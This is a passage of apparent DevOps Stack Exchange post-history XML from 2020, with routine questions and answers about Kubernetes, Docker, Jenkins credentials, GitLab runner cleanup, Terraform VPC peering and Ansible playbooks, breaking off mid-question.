  <row Id="35078" PostHistoryTypeId="2" PostId="11466" RevisionGUID="1a3028dc-0978-43cf-961d-cad198606b14" CreationDate="2020-04-29T13:43:48.827" UserId="739" Text="From [the kubernetes docs](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/#-strong-api-overview-strong-) I see this example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ echo 'apiVersion: apps/v1beta1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: deployment-example&#xD;&#xA;spec:&#xD;&#xA;  replicas: 3&#xD;&#xA;  revisionHistoryLimit: 10&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: nginx&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: nginx&#xD;&#xA;        image: nginx:1.11&#xD;&#xA;        ports:&#xD;&#xA;        - containerPort: 80&#xD;&#xA;' | kubectl replace -f -&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So under your `containers` entry you should be able to add:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;        ports:&#xD;&#xA;        - containerPort: 80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is that what you had in mind or, at least, good enough?  You seem to want this as a command line option for the `kubectl` command and I don't see anything that indicates this is possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="35083" PostHistoryTypeId="2" PostId="11467" RevisionGUID="e00f1bea-e402-413f-8bfd-f0c414ecde42" CreationDate="2020-04-29T19:13:34.630" UserId="19963" Text="In majority of circumstances I wouldn't recommend this in production, but to restart docker container from another container, you need to install docker in that container and then run that &quot;master&quot; container with&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -v /var/run/docker.sock:/var/run/docker.sock &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;as described here: https://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/ (look for &quot;The solution&quot; part of the article).&#xD;&#xA;&#xD;&#xA;But check your architecture and see if you really need to restart one container from another or if there is some other way." ContentLicense="CC BY-SA 4.0" />
  <row Id="35084" PostHistoryTypeId="2" PostId="11468" RevisionGUID="5fbc5474-a8e0-4d94-8580-10dd7fa1d817" CreationDate="2020-04-29T19:53:39.260" UserId="22007" Text="The Phoenix Project is one of the best book to read about DevOps and their is one very interesting community driven website devopsuniversity.org they are also updating interesting material on DevOps to start with." ContentLicense="CC BY-SA 4.0" />
  <row Id="35085" PostHistoryTypeId="2" PostId="11469" RevisionGUID="5293fc07-7afb-40b4-a7b9-286cc116215c" CreationDate="2020-04-30T00:41:43.943" UserId="22008" Text="Hi I can see credentials in Jenkins console output, how can we encrypt them? The &quot;Mask Passwords plugin&quot; is considered as not safe in my case." ContentLicense="CC BY-SA 4.0" />
  <row Id="35086" PostHistoryTypeId="1" PostId="11469" RevisionGUID="5293fc07-7afb-40b4-a7b9-286cc116215c" CreationDate="2020-04-30T00:41:43.943" UserId="22008" Text="How do we encrypt credentials in Jenkins console output" ContentLicense="CC BY-SA 4.0" />
  <row Id="35087" PostHistoryTypeId="3" PostId="11469" RevisionGUID="5293fc07-7afb-40b4-a7b9-286cc116215c" CreationDate="2020-04-30T00:41:43.943" UserId="22008" Text="&lt;jenkins&gt;&lt;credentials&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35088" PostHistoryTypeId="2" PostId="11470" RevisionGUID="36974690-7b5d-4ffe-9fca-8b8656e8d0c9" CreationDate="2020-04-30T00:50:38.733" UserId="16059" Text="Here's an example of using them in a pipeline safely.  In this case, they are injected as environment variables and their value should never have to be shown unless you explicitly choose to print out the variable content for some reason or other.&#xD;&#xA;&#xD;&#xA;Environment variables are generally seen as the best way to store secrets at this point and are heavily relied on by many modern deployments (e.g. often used in kubernetes apps).&#xD;&#xA;&#xD;&#xA;https://www.jenkins.io/doc/book/pipeline/jenkinsfile/#handling-credentials&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Jenkinsfile (Declarative Pipeline)&#xD;&#xA;pipeline {&#xD;&#xA;    agent {&#xD;&#xA;        // Define agent details here&#xD;&#xA;    }&#xD;&#xA;    environment {&#xD;&#xA;        AWS_ACCESS_KEY_ID     = credentials('jenkins-aws-secret-key-id')&#xD;&#xA;        AWS_SECRET_ACCESS_KEY = credentials('jenkins-aws-secret-access-key')&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Example stage 1') {&#xD;&#xA;            steps {&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Example stage 2') {&#xD;&#xA;            steps {&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also avoid Jenkins altogether by having your pipeline/etc retrieve them from some other tool like HashiCorp Vault, AWS SSM, Azure Vault, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="35089" PostHistoryTypeId="2" PostId="11471" RevisionGUID="e6f4c1ad-d76d-4fbe-aa3d-a91f0963c44f" CreationDate="2020-04-30T02:51:33.427" UserId="22011" Text="Below is except of my docker-compose.yml file&#xD;&#xA;&#xD;&#xA;I am trying to mount from host file inside the container, which works i.e. able to mount&#xD;&#xA;but then I need to give it permission (my clumsy chown command, below).&#xD;&#xA;&#xD;&#xA;I am not sure where to run it as wherever I place my (command: chown,-R,elasticsearch,/usr/share/elasticsearch/config/) &#xD;&#xA;&#xD;&#xA;It gives me error that 'no such file or directory' which I think: my code run before volume is attached.&#xD;&#xA;&#xD;&#xA;I tried placing it after container_name as well, same 'no such file or directory'&#xD;&#xA;&#xD;&#xA;Any advise how to do it?&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;    image: docker.elastic.co/elasticsearch/elasticsearch:7.6.2&#xD;&#xA;    container_name: elasticsearch&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;    volumes:&#xD;&#xA;      - ./elastic-stack-ca.p12:/usr/share/elasticsearch/config/elastic-stack-ca.p12&#xD;&#xA;      - esdata1:/usr/share/elasticsearch/data&#xD;&#xA;    *command: chown,-R,elasticsearch,/usr/share/elasticsearch/config/*&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35090" PostHistoryTypeId="1" PostId="11471" RevisionGUID="e6f4c1ad-d76d-4fbe-aa3d-a91f0963c44f" CreationDate="2020-04-30T02:51:33.427" UserId="22011" Text="Grant access permission to file when mounting from host" ContentLicense="CC BY-SA 4.0" />
  <row Id="35091" PostHistoryTypeId="3" PostId="11471" RevisionGUID="e6f4c1ad-d76d-4fbe-aa3d-a91f0963c44f" CreationDate="2020-04-30T02:51:33.427" UserId="22011" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35092" PostHistoryTypeId="5" PostId="11469" RevisionGUID="dde4d202-fcf4-429c-b746-7198242fbb7e" CreationDate="2020-04-30T05:17:46.030" UserId="739" Comment="copy editing" Text="I can see credentials in Jenkins console output.  How can we encrypt them? The &quot;Mask Passwords plugin&quot; is considered as not safe in my case." ContentLicense="CC BY-SA 4.0" />
  <row Id="35094" PostHistoryTypeId="5" PostId="11395" RevisionGUID="d90597c7-e9c5-42f9-8bc1-b39cbe28d1fe" CreationDate="2020-04-30T08:23:41.330" UserId="20042" Comment="API note" Text="##Just unregister offline runners:&#xD;&#xA;&#xD;&#xA;As per [GitLab Runner commands](https://docs.gitlab.com/runner/commands/#gitlab-runner-verify) manual:&#xD;&#xA;&#xD;&#xA;&gt; To delete the old and removed from GitLab runners, execute the following command.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    gitlab-runner verify --delete&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## You are not alone&#xD;&#xA;&#xD;&#xA;P.S. The problem is common: there [are many issues](https://google.com/search?q=site%3A+https%3A%2F%2Fgitlab.com%2Fgitlab-org%2F+issue++intitle%3Arunner+intitle%3Aclean|remove|expired) with questions like yours.&#xD;&#xA;&#xD;&#xA;Moreover, there are several custom recipes to unregister &quot;offline&quot; runners:&#xD;&#xA;&#xD;&#xA;* [`bash` script](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_54956232)&#xD;&#xA;* [API oneliner with `curl`](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_132438194)&#xD;&#xA;* [`python` script](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_202265652)&#xD;&#xA;&#xD;&#xA;## API for &quot;zombie&quot; runners&#xD;&#xA;As [rlandster](https://devops.stackexchange.com/users/10807/rlandster) noted, sometimes you'll need an [API](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19828#note_132438194)&#xD;&#xA; to unregister &quot;zombie&quot; runners.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl -S --header &quot;PRIVATE-TOKEN:&lt;token&gt;&quot; &quot;https://gitlab.example.com/api/v4/runners/all&quot; | jq '.[] | select(.status == &quot;offline&quot;) | .id' | xargs -I runner_id curl -S --request DELETE --header &quot;PRIVATE-TOKEN:&lt;token&gt;&quot; &quot;https://gitlab.example.com/api/v4/runners/runner_id&quot;`&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will list all runners, instead of the personal ones: [https://docs.gitlab.com/ee/api/runners.html#list-all-runners](https://docs.gitlab.com/ee/api/runners.html#list-all-runners)&#xD;&#xA;&#xD;&#xA;## P.S. note about runners&#xD;&#xA;&#xD;&#xA;Pls note that `Gitlab` itself doesn't manage runners. So, e.g. to restart or shutdown the runner, use appropriate commands on the runner's hosts." ContentLicense="CC BY-SA 4.0" />
  <row Id="35095" PostHistoryTypeId="52" PostId="11469" RevisionGUID="40b51e89-4b1b-4f74-8f24-e33557901eb4" CreationDate="2020-04-30T08:41:46.203" />
  <row Id="35096" PostHistoryTypeId="5" PostId="11471" RevisionGUID="cc19c3d9-b553-4972-b47e-1c6a7b02796c" CreationDate="2020-04-30T12:08:39.490" UserId="22011" Comment="added 1292 characters in body" Text="Below is except of my docker-compose.yml file&#xD;&#xA;&#xD;&#xA;I am trying to mount from host file inside the container, which works i.e. able to mount&#xD;&#xA;but then I need to give it permission (my clumsy chown command, below).&#xD;&#xA;&#xD;&#xA;I am not sure where to run it as wherever I place my (command: chown,-R,elasticsearch,/usr/share/elasticsearch/config/) &#xD;&#xA;&#xD;&#xA;It gives me error that 'no such file or directory' which I think: my code run before volume is attached.&#xD;&#xA;&#xD;&#xA;I tried placing it after container_name as well, same 'no such file or directory'&#xD;&#xA;&#xD;&#xA;Any advise how to do it?&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;    image: docker.elastic.co/elasticsearch/elasticsearch:7.6.2&#xD;&#xA;    container_name: elasticsearch&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;    volumes:&#xD;&#xA;      - ./elastic-stack-ca.p12:/usr/share/elasticsearch/config/elastic-stack-ca.p12&#xD;&#xA;      - esdata1:/usr/share/elasticsearch/data&#xD;&#xA;    *command: chown,-R,elasticsearch,/usr/share/elasticsearch/config/*&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;  &#xD;&#xA;Here is full yml, if it is helpful&#xD;&#xA;&#xD;&#xA;        version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      elasticsearch:&#xD;&#xA;        image: docker.elastic.co/elasticsearch/elasticsearch:7.6.2&#xD;&#xA;        container_name: elasticsearch&#xD;&#xA;        command:&#xD;&#xA;         chown,-R,elasticsearch,/usr/share/elasticsearch/config/&#xD;&#xA;        environment:&#xD;&#xA;          - node.name=elasticsearch&#xD;&#xA;          - discovery.seed_hosts=elasticsearch&#xD;&#xA;          - cluster.initial_master_nodes=elasticsearch&#xD;&#xA;          - cluster.name=docker-cluster&#xD;&#xA;          - bootstrap.memory_lock=true&#xD;&#xA;          - &quot;ES_JAVA_OPTS=-Xms512m -Xmx512m&quot;&#xD;&#xA;&#xD;&#xA;        ulimits:&#xD;&#xA;          memlock:&#xD;&#xA;            soft: -1&#xD;&#xA;            hard: -1&#xD;&#xA;        volumes:&#xD;&#xA;          - ./elastic-stack-ca.p12:/usr/share/elasticsearch/config/elastic-stack-ca.p12&#xD;&#xA;          - esdata1:/usr/share/elasticsearch/data&#xD;&#xA;        ports:&#xD;&#xA;          - 9200:9200&#xD;&#xA;    &#xD;&#xA;      kibana:&#xD;&#xA;        image: docker.elastic.co/kibana/kibana:7.6.2&#xD;&#xA;        container_name: kibana&#xD;&#xA;        environment:&#xD;&#xA;          ELASTICSEARCH_URL: &quot;http://elasticsearch:9200&quot;&#xD;&#xA;          ELASTICSEARCH_USERNAME: &quot;kibana&quot;&#xD;&#xA;          ELASTICSEARCH_PASSWORD: &quot;kibana&quot;&#xD;&#xA;        ports:&#xD;&#xA;          - 5601:5601&#xD;&#xA;        depends_on:&#xD;&#xA;          - elasticsearch&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      esdata1:&#xD;&#xA;        driver: local&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35097" PostHistoryTypeId="2" PostId="11472" RevisionGUID="64abbddc-427d-4ae9-ab7f-f11554d550c0" CreationDate="2020-04-30T12:24:31.207" UserId="7855" Text="Can't tell you why this does not work, I'm not using the Jenkins UI for build configuration anymore. I guess the Jenkins UI is blocking you because it does not recognize tha `$GIT_BRANCH` is a variable.&#xD;&#xA;&#xD;&#xA;We do exactly what you are trying with a script-step in the pipeline, and that works:&#xD;&#xA;&#xD;&#xA;    stage('Trigger downstream job') {&#xD;&#xA;       steps {&#xD;&#xA;          script {&#xD;&#xA;             build(job: 'SomeJob/' + env.GIT_BRANCH.replaceAll('/', '%2F'),&#xD;&#xA;                   parameters: [...],&#xD;&#xA;                   propagate: true,&#xD;&#xA;                   wait: true)&#xD;&#xA;          }&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Note that `/` in the branchname must be escaped.&#xD;&#xA;&#xD;&#xA;So I recommend to rewrite your job with a Jenkinsfile :-)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35104" PostHistoryTypeId="50" PostId="11200" RevisionGUID="b8bfd1fd-03e1-4039-b867-8ea4f46dbca4" CreationDate="2020-04-30T14:24:22.497" UserId="-1" />
  <row Id="35110" PostHistoryTypeId="2" PostId="11476" RevisionGUID="629e969e-f971-4497-8471-744bf288dbe1" CreationDate="2020-04-30T22:10:56.743" UserId="22035" Text="I have the following configuration file:&#xD;&#xA;&#xD;&#xA;`environment/main.tf`:&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_vpc_peering_connection&quot; &quot;sb_vpc_peering&quot; {&#xD;&#xA;  vpc_id      = var.vpc_id&#xD;&#xA;  peer_vpc_id = var.peer_vpc_id&#xD;&#xA;  peer_region = var.peer_region&#xD;&#xA;&#xD;&#xA;  #Other vars&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_vpc_peering_connection_accepter&quot; &quot;sb_vpc_peering_accepter&quot; {&#xD;&#xA;  vpc_peering_connection_id = aws_vpc_peering_connection.sb_vpc_peering.id&#xD;&#xA;  auto_accept               = true&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_vpc_peering_connection_options&quot; &quot;sb_vpc_peering_options&quot; {&#xD;&#xA;  vpc_peering_connection_id = aws_vpc_peering_connection.sb_vpc_peering.id&#xD;&#xA;&#xD;&#xA;  accepter {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.accepter_dns_resolution&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  requester {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.requester_dns_resolution&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem here is that last block in `resource &quot;aws_vpc_peering_connection_options&quot; &quot;sb_vpc_peering_options&quot;`:&#xD;&#xA;```&#xD;&#xA;  accepter {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.accepter_dns_resolution&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  requester {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.requester_dns_resolution&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This causes the following error:&#xD;&#xA;```&#xD;&#xA;Error: error modifying VPC Peering Connection (pcx-084fe8578b2935b6a) Options: OperationNotPermitted: Peering pcx-084fe8578b2935b6a is not active. Peering options can be added only to active peerings.&#xD;&#xA;	status code: 400, request id: 2aa0a163-e9db-4c55-aee5-4f7ffbbf8b9f&#xD;&#xA;&#xD;&#xA;  on ../../../aws/vpc/peering-connection-accepter/main.tf line 15, in resource &quot;aws_vpc_peering_connection_options&quot; &quot;sb_vpc_peering_options&quot;:&#xD;&#xA;  15: resource &quot;aws_vpc_peering_connection_options&quot; &quot;sb_vpc_peering_options&quot; {&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;If I give it a couple of minutes and run `terraform apply` again, it works as the VPC has been given time to become active.&#xD;&#xA;&#xD;&#xA;I originally had that DNS resolution bit within the `aws_vpc_peering_connection` resource itself, but the same error occurred so I separated them like this but that did not fix the issue.&#xD;&#xA;&#xD;&#xA;Do I need to somehow have some sort of sleep before applying the options?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35111" PostHistoryTypeId="1" PostId="11476" RevisionGUID="629e969e-f971-4497-8471-744bf288dbe1" CreationDate="2020-04-30T22:10:56.743" UserId="22035" Text="Terraform fails to modify DNS settings a recently created VPC Peering connection because it is not yet active" ContentLicense="CC BY-SA 4.0" />
  <row Id="35112" PostHistoryTypeId="3" PostId="11476" RevisionGUID="629e969e-f971-4497-8471-744bf288dbe1" CreationDate="2020-04-30T22:10:56.743" UserId="22035" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35113" PostHistoryTypeId="2" PostId="11477" RevisionGUID="5d002faa-53ee-4ccb-9367-fcd1d65dbac4" CreationDate="2020-04-30T22:27:34.697" UserId="21732" Text="So the way I figured it out was to put the `when` condition into Jinja.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    default_thing_1: 123&#xD;&#xA;    default_thing_2: 456&#xD;&#xA;    default_transport: train&#xD;&#xA;    list_of_things:&#xD;&#xA;      - name: foo&#xD;&#xA;        common_thing_1: &quot;sam&quot;&#xD;&#xA;      - name: bar&#xD;&#xA;        common_thing_1: &quot;sam&quot;&#xD;&#xA;        common_thing_2: &quot;ham&quot;&#xD;&#xA;      - name: biz&#xD;&#xA;        common_thing_1: &quot;eggs&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Set the Things Facts&#xD;&#xA;      set_fact:&#xD;&#xA;        thing:&#xD;&#xA;          i_am: &quot;{{ item.common_thing_1 | default(default_thing_1) }}&quot;&#xD;&#xA;          eggs_ham: &quot;{{ item.common_thing_2 | default(default_thing_2) }}&quot;&#xD;&#xA;      loop: &quot;{{ list_of_things }}&quot;&#xD;&#xA;      register: things_fact_results&#xD;&#xA;    - name: Set Optional Things Facts&#xD;&#xA;      set_fact:&#xD;&#xA;        thing: |&#xD;&#xA;          {% if item.common_thing_2 is defined and item.common_thing_2 == 'ham' %}&#xD;&#xA;          { &quot;transport&quot;: &quot;{{ item.transport | default(default_transport) }}&quot; }&#xD;&#xA;          {% else %}&#xD;&#xA;          {}&#xD;&#xA;          {% endif %}&#xD;&#xA;      loop: &quot;{{ list_of_things }}&quot;&#xD;&#xA;      register: transport_fact_results&#xD;&#xA;    - name: Debug the Facts&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ item.0 | combine(item.1) }}&quot;&#xD;&#xA;      loop: &quot;{{&#xD;&#xA;        things_fact_results.results |&#xD;&#xA;        map(attribute='ansible_facts.thing') | list |&#xD;&#xA;        zip(&#xD;&#xA;          transport_fact_results.results |&#xD;&#xA;          map(attribute='ansible_facts.thing') | list&#xD;&#xA;        ) | list&#xD;&#xA;      }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is kinda sloppy but does allow me to specify the else condition to set the result over every iteration to something instead of `AnsibleUndefined`.&#xD;&#xA;&#xD;&#xA;I don't really like this solution but it works.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook playbook.yml &#xD;&#xA;[WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'&#xD;&#xA;&#xD;&#xA;PLAY [localhost] *******************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] *************************************************************************************************************************************************************&#xD;&#xA;ok: [localhost]&#xD;&#xA;&#xD;&#xA;TASK [Set the Things Facts] ********************************************************************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'foo', 'common_thing_1': 'sam'})&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'bar', 'common_thing_1': 'sam', 'common_thing_2': 'ham'})&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'biz', 'common_thing_1': 'eggs'})&#xD;&#xA;&#xD;&#xA;TASK [Set Optional Things Facts] ***************************************************************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'foo', 'common_thing_1': 'sam'})&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'bar', 'common_thing_1': 'sam', 'common_thing_2': 'ham'})&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'biz', 'common_thing_1': 'eggs'})&#xD;&#xA;&#xD;&#xA;TASK [Debug the Facts] *************************************************************************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; (item=[{'i_am': 'sam', 'eggs_ham': '456'}, {}]) =&gt; {&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;        &quot;eggs_ham&quot;: &quot;456&quot;,&#xD;&#xA;        &quot;i_am&quot;: &quot;sam&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;ok: [localhost] =&gt; (item=[{'i_am': 'sam', 'eggs_ham': 'ham'}, {'transport': 'train'}]) =&gt; {&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;        &quot;eggs_ham&quot;: &quot;ham&quot;,&#xD;&#xA;        &quot;i_am&quot;: &quot;sam&quot;,&#xD;&#xA;        &quot;transport&quot;: &quot;train&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;ok: [localhost] =&gt; (item=[{'i_am': 'eggs', 'eggs_ham': '456'}, {}]) =&gt; {&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;        &quot;eggs_ham&quot;: &quot;456&quot;,&#xD;&#xA;        &quot;i_am&quot;: &quot;eggs&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;PLAY RECAP *************************************************************************************************************************************************************************&#xD;&#xA;localhost                  : ok=4    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now the `transport` key is defined in the one object but not the other. So I can pass the item off to a complex object that's part of an API call." ContentLicense="CC BY-SA 4.0" />
  <row Id="35114" PostHistoryTypeId="2" PostId="11478" RevisionGUID="b8eb36a7-7906-4e2d-82ac-41f36fe7aad1" CreationDate="2020-05-01T00:34:15.640" UserId="21909" Text="You can open a socket to have the docker command available inside a container:&#xA;&#xA;https://forums.docker.com/t/how-can-i-run-docker-command-inside-a-docker-container/337&#xA;&#xA;But...even if technically possible docker experts suggest to not do because of security reasons." ContentLicense="CC BY-SA 4.0" />
  <row Id="35115" PostHistoryTypeId="5" PostId="11462" RevisionGUID="d9dfffe6-c36c-4ba7-b7c1-0cf51bad0217" CreationDate="2020-05-01T11:00:26.970" UserId="21993" Comment="added 118 characters in body" Text="When starting up an Amazon ECS task with launch type FARGATE it fails with the following reason:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ResourceInitializationError: failed to invoke EFS utils commands to set up EFS volumes: command failed with 32: failed to execute command to invoke EFS utils: mount.nfs4:&#xD;&#xA;&#xD;&#xA;Connection timed out&#xD;&#xA;```&#xA;The fargate task is a docker image that needs to mount EFS as persistent storage. &#xA;&#xA;Why is the connection timing out?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35116" PostHistoryTypeId="2" PostId="11479" RevisionGUID="37fd1a5d-5a39-46ea-8db5-7af8fec3c5e4" CreationDate="2020-05-01T13:17:57.353" UserId="22035" Text="Figured it out!&#xD;&#xA;The problem is that those DNS settings set in `aws_vpc_peering_connection_options` cannot be set until the peering connection is active (approved). It was only depending on `aws_vpc_peering_connection` existing, therefore was running at the same time or before `aws_vpc_peering_connection_accepter`.&#xD;&#xA;&#xD;&#xA;This was simply fixed in `aws_vpc_peering_connection_options` by getting the `vpc_peering_connection_id` from `aws_vpc_peering_connection_accepter` instead of `aws_vpc_peering_connection`, so that the terraform dependency tree would automatically have the dependency work in the correct order.&#xD;&#xA;&#xD;&#xA;Before:&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_vpc_peering_connection_options&quot; &quot;sb_vpc_peering_options&quot; {&#xD;&#xA;  vpc_peering_connection_id = aws_vpc_peering_connection.sb_vpc_peering.id&#xD;&#xA;&#xD;&#xA;  accepter {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.accepter_dns_resolution&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  requester {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.requester_dns_resolution&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;After:&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_vpc_peering_connection_options&quot; &quot;sb_vpc_peering_options&quot; {&#xD;&#xA;  vpc_peering_connection_id = aws_vpc_peering_connection_accepter.sb_vpc_peering_accepter.id&#xD;&#xA;&#xD;&#xA;  accepter {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.accepter_dns_resolution&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  requester {&#xD;&#xA;    allow_remote_vpc_dns_resolution = var.requester_dns_resolution&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35121" PostHistoryTypeId="2" PostId="11481" RevisionGUID="6db10b7b-54bc-4d84-b638-023ab2488f6e" CreationDate="2020-05-01T13:57:27.897" UserId="22043" Text="Given a list of users:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Python Syntax&#xD;&#xA;    users = [{'name': 'alice', 'sudo': True}, {'name': 'bob'}, {'name': 'charlie'}]&#xD;&#xA;&#xD;&#xA;    # YAML Syntax&#xD;&#xA;    users:&#xD;&#xA;      - name: alice&#xD;&#xA;        sudo: yes&#xD;&#xA;      - name: bob&#xD;&#xA;      - name: charlie&#xD;&#xA;  &#xD;&#xA;How would I do the following in an ansible playbook:&#xD;&#xA;&#xD;&#xA;    # Python Syntax&#xD;&#xA;    [ dict(user, home=&quot;/home/{}/&quot;.format(user['name'])) for user in users if not 'sudo' in user]&#xD;&#xA;&#xD;&#xA;    # more verbose&#xD;&#xA;    for user in users:&#xD;&#xA;      if not 'sudo' in user:&#xD;&#xA;        user['home'] = '/home/' + user['name'] + '/'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;resulting in:&#xD;&#xA;&#xD;&#xA;    # Python Syntax&#xD;&#xA;    [{'name': 'bob', 'home': '/home/bob/'}, {'name': 'charlie', 'home': '/home/charlie/'}]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # YAML Syntax&#xD;&#xA;    users:&#xD;&#xA;      - name: bob&#xD;&#xA;        home: /home/bob/&#xD;&#xA;      - name: charlie&#xD;&#xA;        home: /home/charlie/&#xD;&#xA;&#xD;&#xA;Is this even possible/intended use of playbook language?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35122" PostHistoryTypeId="1" PostId="11481" RevisionGUID="6db10b7b-54bc-4d84-b638-023ab2488f6e" CreationDate="2020-05-01T13:57:27.897" UserId="22043" Text="Doing map and filter of a list of dictionaries in ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="35123" PostHistoryTypeId="3" PostId="11481" RevisionGUID="6db10b7b-54bc-4d84-b638-023ab2488f6e" CreationDate="2020-05-01T13:57:27.897" UserId="22043" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35124" PostHistoryTypeId="2" PostId="11482" RevisionGUID="3953a69f-df70-4fe9-99d5-f363536c91a5" CreationDate="2020-05-01T16:42:43.107" UserId="21759" Text="I'm migrating an HPC app to Kubernetes, and am trying to determine the best way to provide read only data assets as a configuration managed snapshot. &#xD;&#xA;&#xD;&#xA;Previously, my team had delivered our application as a set of RPMs, but as we move to Kubernetes, we're delivering Docker images. This works fine for our application binary, as instead of a pile of RPMs that all have to agree, we can just deliver a known working image. &#xD;&#xA;&#xD;&#xA;The problem, however, comes with our read-only data assets (similar to a game's asset files). Several different Docker images might rely on a single set of data assets, and so we'd prefer not to bake them into the actual Docker image itself (plus we want the ability to change the assets without having to recompile the application images). &#xD;&#xA;&#xD;&#xA;We're unsure as to the best approach for this. The first idea would be to create a &quot;data container&quot; that simply runs NFS and serves out the data. This successfully isolates the data from the application and allows us to collapse a set of data RPMs into a single tagged docker image, but to me it seems like it might be overkill. &#xD;&#xA;&#xD;&#xA;I know that we're essentially looking for a persistent volume for Kubernetes, but the problem for us is 